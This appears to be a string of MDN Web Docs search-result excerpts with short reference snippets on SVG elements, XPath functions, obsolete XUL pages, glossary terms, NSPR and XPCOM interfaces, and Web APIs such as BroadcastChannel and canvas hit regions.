<feTurbulence> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes basefrequency numoctaves seed stitchtiles type dom interface this element implements the svgfeturbulenceelement interface.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<feturbulence>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<feturbulence>' in that specification.
<filter> - SVG: Scalable Vector Graphics
WebSVGElementfilter
usage context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elementsfilter primitive elements<animate>, <set> attributes global attributes core attributes presentation attributes xlink attributes class style externalresourcesrequired specific attributes x y width height filterres filterunits primitiveunits xlink:href dom interface this element implements the svgfilterelement interface.
... example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg"> <filter id="blurme"> <fegaussianblur stddeviation="5"/> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<filter>' in that specification.
... working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<filter>' in that specification.
<font-face-name> - SVG: Scalable Vector Graphics
the <font-face-name> element points to a locally installed copy of this font, identified by its name.
... usage context categoriesnonepermitted contentempty attributes global attributes core attributes » specific attributes name dom interface this element implements the svgfontfacenameelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-name>' in that specification.
<font-face-src> - SVG: Scalable Vector Graphics
it serves as container for <font-face-name>, pointing to locally installed copies of this font, and <font-face-uri>, utilizing remotely defined fonts.
... usage context categoriesfont elementpermitted contentone or more of the following elements, in any order:<font-face-name>, <font-face-uri> attributes global attributes core attributes specific attributes none dom interface this element implements the svgfontfacesrcelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-src>' in that specification.
<font-face> - SVG: Scalable Vector Graphics
WebSVGElementfont-face
usage context categoriesfont elementpermitted contentany number of descriptive elements » and at most one <font-face> element, in any order.
... attributes global attributes core attributes specific attributes font-family font-style font-variant font-weight font-stretch font-size unicode-range units-per-em panose-1 stemv stemh slope cap-height x-height accent-height ascent descent widths bbox ideographic alphabetic mathematical hanging v-ideographic v-alphabetic v-mathematical v-hanging underline-position underline-thickness strikethrough-position strikethrough-thickness overline-position overline-thickness dom interface this element implements the svgfontfaceelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face>' in that specification.
<glyph> - SVG: Scalable Vector Graphics
WebSVGElementglyph
usage context categoriestext content elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y unicode glyph-name orientation arabic-form lang dom interface this element implements the svgglyphelement interface.
... example svg <svg width="400px" height="300px" version="1.1" xmlns="http://www.w3.org/2000/svg"> <!-- example copied from https://www.w3.org/tr/svg/fonts.html#glyphelement --> <defs> <font id="font1" horiz-adv-x="1000"> <font-face font-family="super sans" font-weight="bold" font-style="normal" units-per-em="1000" cap-height="600" x-height="400" ascent="700" descent="300" alphabetic="0" mathematical="350" ideographic="400" hanging="500"> <font-face-src> <font-face-name name="super sans bold"/> </font-face-src> </font-face> <missing-glyph><path d="m0,0h200v200h-200z"/></missing-glyph> <glyph unicode="!" horiz-adv-x="80" d="m0,0h200v200h-200z"></glyph> <glyph unicode="@" d="m0,50l100,300l400,100...
...z"></glyph> </font> </defs> <text x="100" y="100" style="font-family: 'super sans', helvetica, sans-serif; font-weight: bold; font-style: normal">text using embe@dded font!</text> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyph>' in that specification.
<line> - SVG: Scalable Vector Graphics
WebSVGElementline
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria ...
..., aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<line>' in that specification.
... candidate recommendation changed the x1, y1, x2 and y2 attributes to take <length>s, <percentage>s and <number>s scalable vector graphics (svg) 1.1 (second edition)the definition of '<line>' in that specification.
<mask> - SVG: Scalable Vector Graphics
WebSVGElementmask
%; animatable: yes global attributes core attributes most notably: id styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, display, fill, fill-opacity, fill-rule, filter, mask, opacity, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <forei...
...gnobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment css masking module level 1the definition of '<mask>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<mask>' in that specification.
<mpath> - SVG: Scalable Vector Graphics
WebSVGElementmpath
usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes core attributes » xlink attributes » externalresourcesrequired specific attributes xlink:href dom interface this element implements the svgmpathelement interface.
...--> <path d="m-25,-12.5 l25,-12.5 l 0,-87.5 z" fill="yellow" stroke="red" stroke-width="7.06" > <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto" > <mpath xlink:href="#path1"/> </animatemotion> </path> </svg> result specifications specification status comment svg animations level 2the definition of '<mpath>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<mpath>' in that specification.
<polygon> - SVG: Scalable Vector Graphics
WebSVGElementpolygon
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria ...
..., aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<polygon>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<polygon>' in that specification.
<script> - SVG: Scalable Vector Graphics
WebSVGElementscript
value type: <string>; default value: application/ecmascript; animatable: no xlink:href deprecated since svg 2 the url to the script to load.
... value type: <url> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<script>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<script>' in that specification.
<style> - SVG: Scalable Vector Graphics
WebSVGElementstyle
value type: <string>; default value: all; animatable: no title this attribute the title of the style sheet which can be used to switch between alternate style sheets.
... value type: <string>; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<style>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<style>' in that specification.
<switch> - SVG: Scalable Vector Graphics
WebSVGElementswitch
usage context categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<a>, <foreignobject>, <g>, <image>, <svg>, <switch>, <text>, <use> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes class style externalresourcesrequired transfor...
...text systemlanguage="en-gb">wotcha!</text> <text systemlanguage="en-au">g'day!</text> <text systemlanguage="en">hello!</text> <text systemlanguage="es">hola!</text> <text systemlanguage="fr">bonjour!</text> <text systemlanguage="ja">こんにちは</text> <text systemlanguage="ru">Привет!</text> <text>☺</text> </switch> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<switch>' in that specification.
... candidate recommendation clarified the evaluation of the systemlanguage attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<switch>' in that specification.
<textPath> - SVG: Scalable Vector Graphics
WebSVGElementtextPath
value type: <length>|<percentage>|<number> ; default value: auto; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria ...
...aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:title usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<textpath>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<textpath>' in that specification.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
if an element can be described by visible text, it is recommended to reference that text with an aria-labelledby attribute rather than using the <title> element.
...="5" cy="5" r="4"> <title>i'm a circle</title> </circle> <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<title>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<title>' in that specification.
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
the textual content for a <text> svg element can be either character data directly embedded within the <text> element or the character data content of a referenced element, where the referencing is specified with a <tref> element.
... usage context categoriestext content element, text content child elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatecolor>, <set> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired specific attributes xlink:href dom interface this element implements the svgtrefelement interface.
... 1000 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <text id="referencedtext"> referenced character data </text> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect' element --> <rect x="1" y="1" width="998" height="298" fill="none" stroke-width="2" /> </svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
<view> - SVG: Scalable Vector Graphics
WebSVGElementview
usage context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes aria attributes » core attributes » global event attributes » externalresourcesrequired specific attributes viewbox preserveaspectratio zoomandpan viewtarget example svg <svg width="600" height="200" viewbox="0 0 600 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="gradient"> <stop offset="0%" stop-color="#8cffa0" /> <stop offset="100%" stop-color="#8ca0ff" /> </radialgradient> </defs> <circle r="50" cx="180" cy="50" style="fill:url(#gradient)"/> ...
... specifications specification status comment scalable vector graphics (svg) 2the definition of '<view>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<view>' in that specification.
<vkern> - SVG: Scalable Vector Graphics
WebSVGElementvkern
the <vkern> svg element allows to fine-tweak the vertical distance between two glyphs in top-to-bottom fonts.
... usage context categoriesfont elementpermitted contentempty attributes global attributes core attributes specific attributes u1 g1 u2 g2 k dom interface this element implements the svgvkernelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<vkern>' in that specification.
Clipping and masking - SVG: Scalable Vector Graphics
in this case, any half-transparent effects are not possible, it's an all-or-nothing approach.
...this rectangular on its own would paint the upper half of the canvas black.
...if you want an element to fade out, you can achieve this effect quite quickly with masks.
SVG Tutorial - SVG: Scalable Vector Graphics
WebSVGTutorial
scalable vector graphics, svg, is a w3c xml dialect to mark up graphics.
... this tutorial aims to explain the internals of svg and is packed with technical details.
... if you just want to draw beautiful images, you might find more useful resources at inkscape's documentation page.
concat - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the concat function concatenates two or more strings and returns the resulting string.
... syntax concat(string1 ,string2 [,stringn]* ) arguments stringn this function accepts two or more arguments.
... returns a single string that is the concatenation of all the strings passed to the function as arguments.
local-name - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the local-name function returns a string representing the local name of the first node in a given node-set.
... syntax local-name( [node-set] ) arguments node-set (optional) the local name of the first node in this node-set will be returned.
... notes the local name is the local part of an expanded-name.
[Deprecated] The Mozilla build VM - Archive of obsolete content
thanks to significant improvements in our build environment setup process, it's much simpler and easier to get set up and stay up to date by starting with building firefox instead.
... you can also ask your getting-started questions in the introduction chat room on matrix, and any firefox development questions in the developers room.
File.macAlias - Archive of obsolete content
file.macalias in this example, a mac alias is created for software (applecd audio player) that is installed locally.
... xpisrc = "miscellaneous program"; var vi = "1.1.1.1"; initinstall( "macintosh alias", "misc", vi, 0); f = getfolder("program"); g = getfolder("mac desktop"); addfile( "filemacalias", "2.2.2.2", xpisrc, f, xpisrc, true); err = file.macalias(f, xpisrc, g, xpisrc + " alias"); logcomment("file.macalias returns: " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
macAlias - Archive of obsolete content
method of file object syntax int macalias( filespecobject destdir, string filename, filespecobject aliasdir, string aliasname ); parameters the macalias method has the following parameters: destdir a filespecobject that represents the directory into which the program file will be installed.
... example see file.macalias in the script examples chapter.
ignorecase - Archive of obsolete content
« xul reference home ignorecase type: boolean set to true to indicate that the case does not matter when making comparisons.
... otherwise, the default value is false, to indicate that the value should match with the same case.
showcaret - Archive of obsolete content
« xul reference home showcaret type: boolean whether or not to cause a typing caret to be visible in the content area.
... examples <iframe id="content-body" src="http://www.mozilla.org/" showcaret="true"/> <browser src="http://www.mozilla.org" flex="1" showcaret="true"/> ...
cancel - Archive of obsolete content
ArchiveMozillaXULMethodcancel
« xul reference home cancel() return type: no return value call this method to cancel and close the wizard.
... the code in the onwizardcancel attribute is called before the wizard is cancelled.
getNotificationWithValue - Archive of obsolete content
« xul reference home getnotificationwithvalue( value ) return type: notification element retrieve the notification with a particular value.
... the value is specified when adding the notification with appendnotification.
removeAllNotifications - Archive of obsolete content
« xul reference home removeallnotifications( immediate ) return type: no return value remove all notifications.
...if immediate is false, the notifications are removed using a slide transition.
amIndicator - Archive of obsolete content
« xul reference amindicator type: string the string value displayed for hours between midnight and noon, defaulting to am.
... this value is determined from the user's locale.
appLocale - Archive of obsolete content
« xul reference applocale obsolete since gecko 1.9.1 type: nsilocale returns the xpcom object which holds information about the user's locale.
... this is an object which implements nsilocale.
pmIndicator - Archive of obsolete content
« xul reference pmindicator type: string the string value displayed for hours between noon and midnight, defaulting to pm.
... this value is determined from the user's locale.
Using Crash Reporting in a XULRunner Application - Archive of obsolete content
xulrunner application authors who wish to use crash reporting must run a crash reporting server.
... to enable crash reporting on the client, set the following items in application.ini: [crash reporter] enabled=true serverurl=https://your.server.url/submit note: because crash reports can contain private data including passwords, in production environments they should only be sent via https.
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
it is desirable to be able to deal with comments in the same way one deals with rss feeds; through syndication.
...this element lets you syndicate your comments.
Use Case - Archive of obsolete content
rss use cases this section contains common rss use cases.
... use cases between rss aggregators and rss feeds polling rss feeds figuring out which version of rss 0.91 you have how to handle enclosures http mime type handling use cases between users and rss feeds subscribing to an rss feed ...
Cache - MDN Web Docs Glossary: Definitions of Web-related terms
a cache (web cache or http cache) is a component that stores http responses temporarily so that it can be used for subsequent http requests as long as it meets certain conditions.
... learn more general knowledge web cache on wikipedia ...
CalDAV - MDN Web Docs Glossary: Definitions of Web-related terms
caldav (calendaring extensions to webdav) is a protocol standardized by the ietf and used to remotely access calendar data from a server.
... learn more general knowledge caldav on wikipedia technical reference rfc 4791: calendaring extensions to webdav (caldav) rfc 6638: scheduling extensions to caldav ...
CardDAV - MDN Web Docs Glossary: Definitions of Web-related terms
carddav (vcard extension to webdav) is a protocol standardized by the ietf and used to remote-access or share contact information over a server.
... learn more general knowledge carddav on wikipedia technical reference rfc 6352: vcard extensions to web distributed authoring and versioning (webdav) ...
ICANN - MDN Web Docs Glossary: Definitions of Web-related terms
icann (internet corporation for assigned names and numbers) is an international nonprofit that maintains the domain name system and the record of ip addresses.
... learn more general knowledge official website icann on wikipedia ...
Local variable - MDN Web Docs Glossary: Definitions of Web-related terms
a variable whose name is bound to its value only within a local scope.
... example var global = 5; //is a global variable function fun(){ var local = 10; //is a local variable } ...
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
an spa (single-page application) is a web app implemention that loads only a single web document, and then updates the body content of that single document via javascript apis such as xmlhttprequest and fetch when different content is to be shown.
... this therefore allows users to use websites without loading whole new pages from the server, which can result in performance gains and a more dynamic experience, with some tradeoff disadvantages such as seo, more effort required to maintain state, implement navigation, and do meaningful performance monitoring.
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
the http authentication protocol is challenge-response based, though the "basic" protocol isn't using a real challenge (the realm is always the same).
... learn more challenge-response authentication on wikipedia.
Gecko versions and application versions
the following table shows the various versions of gecko and what versions of common applications are based on them.
... gecko version applications based on it gecko 55 firefox 55, seamonkey 2.52 gecko 52 firefox 52, seamonkey 2.49 gecko 49 firefox 49, seamonkey 2.46 gecko 43 firefox 43, seamonkey 2.40 gecko 42 firefox 42, seamonkey 2.39 gecko 41 firefox 41, seamonkey 2.38 gecko 38 firefox 38, seamonkey 2.35 gecko 36 firefox 36, seamonkey 2.33 gecko 35 firefox 35, seamonkey 2.32 gecko 34 firefox 34, seamonkey 2.31 gecko 33 firefox 33, seamonkey 2.30 gecko 32 firefox 32, seamonkey 2.29 gecko 29 firefox 29, seamon...
Encodings for localization files
when creating a localization for mozilla products, it’s important to be aware of the encoding of the files that you generate.
... installer the windows installer can’t handle utf-8, but only the codepages provided by windows.
MathML Demo: <msqrt>, <mroot> - radicals
about all you can do with them is see how the rendering stretches them in various ways: horizontally sin ⁡ x ⁢ cos ⁡ y , vertically 1 2 3 4 and det ( 1 2 3 4 ) 2 , as well as 2 x ⁢ y ⁢ z ⁢ w , 2 1 2 3 4 , and 2 ⌈ det ( 1 2 3 4 ) ⌉ .
...about all you can do with them is see how the rendering stretches them in various ways: horizontally sin ⁡ x ⁢ cos ⁡ y vertically 1 2 3 4 and det ( 1 2 3 4 ) 2 as well as 2 x ⁢ y ⁢ z ⁢ w 2 1 2 3 4 and 2 ⌈ det ( 1 2 3 4 ) ⌉ the formula of binet shows how the n-th term in the fibonacci series can be expressed using roots f n = 1 5 [ ( 1 + 5 2 ) n - ( 1 - 5 2 ) n ] ...
ui.alertNotificationOrigin
ui.alertnotificationorigin controls the position and direction from which popup notifications invoked by nsialertsservice are sliding in.
... type:integer default value:dependent on position of taskbar or equivalent exists by default: no application support: gecko 1.8.1.2 (firefox 2.0.0.2 / thunderbird 2.0.0.4 / seamonkey 1.1) status: active; last updated 2012-02-22 introduction: pushed to nightly on 2007-01-04 bugs: bug 133527 values 0 bottom right corner, vertical slide-in from the bottom 1 bottom right corner, horizontal slide-in from the right 2 bottom left corner, vertical slide-in from the bottom 3 bottom left corner, horizontal slide-in from the left 4 top right corner, vertical slide-in from the top 5 top right corner, horizontal slide-in from the right 6 top left corner, vertical slide-in from the top 7 top left corner, horizontal slide-in from the left ...
PRCallOnceFN
syntax #include <prinit.h> typedef prstatus (pr_callback *prcalloncefn)(void); description the function is called to perform the initialization desired.
... the function is expected to return a prstatus indicating the outcome of the process.
PR_AtomicAdd
syntax #include <pratom.h> print32 pr_atomicadd( print32 *ptr, print32 val); parameter the function has the following parameters: ptr a pointer to the value to increment.
... description atomically add a 32 bit value.
PR_CancelJob
causes a previously queued job to be canceled.
... syntax #include <prtpool.h> nspr_api(prstatus) pr_canceljob(prjob *job); parameter the function has the following parameter: job a pointer to a prjob structure returned by a pr_queuejob function representing the job to be cancelled.
Process Management and Interprocess Communication
a new process can inherit specified file descriptors from its parent, and the parent can redirect the standard i/o streams of the child process to specified file descriptors.
... process management types and constants the types defined for process management are: prprocess prprocessattr process management functions the process manipulation function fall into these categories: setting the attributes of a new process creating and managing processes setting the attributes of a new process the functions that create and manipulate attribute sets of new processes are: pr_newprocessattr pr_resetprocessattr pr_destroyprocessattr pr_processattrsetstdioredirect pr_processattrsetcurrentdirectory pr_processattrsetinheritablefd creating and managing processes the functions that create and manage processes are: pr_createprocess pr_detach...
Deprecated SSL functions
the deprecated functions are not supported by the new ssl shared libraries.
... applications that want to use the ssl shared libraries must convert to calling the new replacement functions listed below.
nsCategoryManager
« xpcom api reference summary the xpcom category manager.
... class id 16d222a6-1dd2-11b2-b693-f38b02c021b2 contractid @mozilla.org/categorymanager;1 supported interfaces nsicategorymanager remarks this component is a singleton and should therefore be accessed via the xpcom service manager.
nsCAutoString (External)
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcon...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
amIInstallCallback
toolkit/mozapps/extensions/amiinstalltrigger.idlscriptable a callback function that web pages can implement to be notified when triggered installs complete.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oninstallended(in astring aurl, in print32 astatus); methods oninstallended() called when an install completes or fails.
mozIRepresentativeColorCallback
toolkit/components/places/mozicoloranalyzer.idlscriptable provides callback methods for mozicoloranalyzer 1.0 66 introduced gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method overview void oncomplete(in boolean success, [optional] in unsigned long color); methods oncomplete() will be called when color analysis finishes.
...analysis can fail if the image is transparent, imageuri doesn't resolve to a valid image, or the image is too big.
nsIDiskCacheStreamInternal
netwerk/cache/nsidiskcachestreaminternal.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void closeinternal(); methods closeinternal() we use this method internally to close nsdiskcacheoutputstream under the cache service lock.
nsIInputStreamCallback
inherits from: nsisupports last changed in gecko 1.7 method overview void oninputstreamready(in nsiasyncinputstream astream); methods oninputstreamready() called to indicate that the stream is either readable or closed.
... void oninputstreamready( in nsiasyncinputstream astream ); parameters astream the stream whose nsiasyncinputstream.asyncwait() method was called.
nsIOutputStreamCallback
inherits from: nsisupports last changed in gecko 1.7 method overview void onoutputstreamready(in nsiasyncoutputstream astream); methods onoutputstreamready() called to indicate that the stream is either writable or closed.
... void onoutputstreamready( in nsiasyncoutputstream astream ); parameters astream the stream whose nsiasyncoutputstream.asyncwait() method was called.
Declaring and Calling Functions
once declared, functions can be called using standard function syntax.
... returned values if the return type can fit into a javascript number without loss (that is, it's a number 32 bits or smaller, or is a double or float), then the function just return a javascript number.
DOM allocation example - Firefox Developer Tools
you can try out the site at https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html.
....appendchild(toolbarbutton); } return toolbar; } function createtoolbars() { var container = document.getelementbyid("container"); for (var i = 0; i < toolbarcount; i++) { var toolbar = createtoolbar(); container.appendchild(toolbar); } } createtoolbars(); a simple pseudocode representation of how this code operates looks like this: createtoolbars() -> createtoolbar() // called 200 times, creates 1 div element each time -> createtoolbarbutton() // called 20 times per toolbar, creates 1 span element each time in total, then, it creates 200 htmldivelement objects, and 4000 htmlspanelement objects.
Cache Storage - Firefox Developer Tools
under the cache storage type within the storage inspector you can see the contents of any dom caches created using the cache api.
... if you select a cache, you'll see a list of the resources it contains.
BroadcastChannel.close() - Web APIs
the broadcastchannel.close() terminates the connection to the underlying channel, allowing the object to be garbage collected.
... syntax var str = channel.close(); example // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.close()' in that specification.
BroadcastChannel: messageerror event - Web APIs
the messageerror event is fired on a broadcastchannel object when a message arrives on the channel that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples this code uses addeventlistener to listen for messages and errors: const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); channel.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessage and onmessageerror event handler properties: const channel = new broadcastchannel('example-channel'); channel.onmessage = (event) => { received.textcontent = event.data; }; channel.onmessageerror = (event) => { console.log(event); }; specifications specification status html living st...
BroadcastChannel.onmessageerror - Web APIs
the onmessageerror event handler of the broadcastchannel interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the broadcastchannel instance — that is, when it receives a message that cannot be deserialized.
...}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
CanvasRenderingContext2D.clearHitRegions() - Web APIs
the canvasrenderingcontext2d method clearhitregions() removes all hit regions from the canvas.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set some hit regions ctx.addhitregion({id: 'eyes'}); ctx.addhitregion({id: 'nose'}); ctx.addhitregion({id: 'mouth'}); // remove them altogether from the canvas ctx.clearhitregions(); specifications canvas hit regions have been removed from the whatwg living standard, although discussions about future standardization are ongoing.
CanvasRenderingContext2D.currentTransform - Web APIs
the canvasrenderingcontext2d.currenttransform property of the canvas 2d api returns or sets a dommatrix (current specification) or svgmatrix (old specification) object for the current transformation matrix.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let matrix = ctx.currenttransform; matrix.a = 1; matrix.b = 1; matrix.c = 0; matrix.d = 1; matrix.e = 0; matrix.f = 0; ctx.currenttransform = matrix; ctx.fillrect(0, 0, 100, 100); result ...
CanvasRenderingContext2D.removeHitRegion() - Web APIs
the canvasrenderingcontext2d method removehitregion() removes a given hit region from the canvas.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set a hit region ctx.addhitregion({id: 'eyes'}); // remove it from the canvas ctx.removehitregion('eyes'); specifications canvas hit regions have been removed from the whatwg living standard, although discussions about future standardization are ongoing.
DedicatedWorkerGlobalScope: messageerror event - Web APIs
the messageerror event is fired on a dedicatedworkerglobalscope object when it receives a message that can't be deserialized.
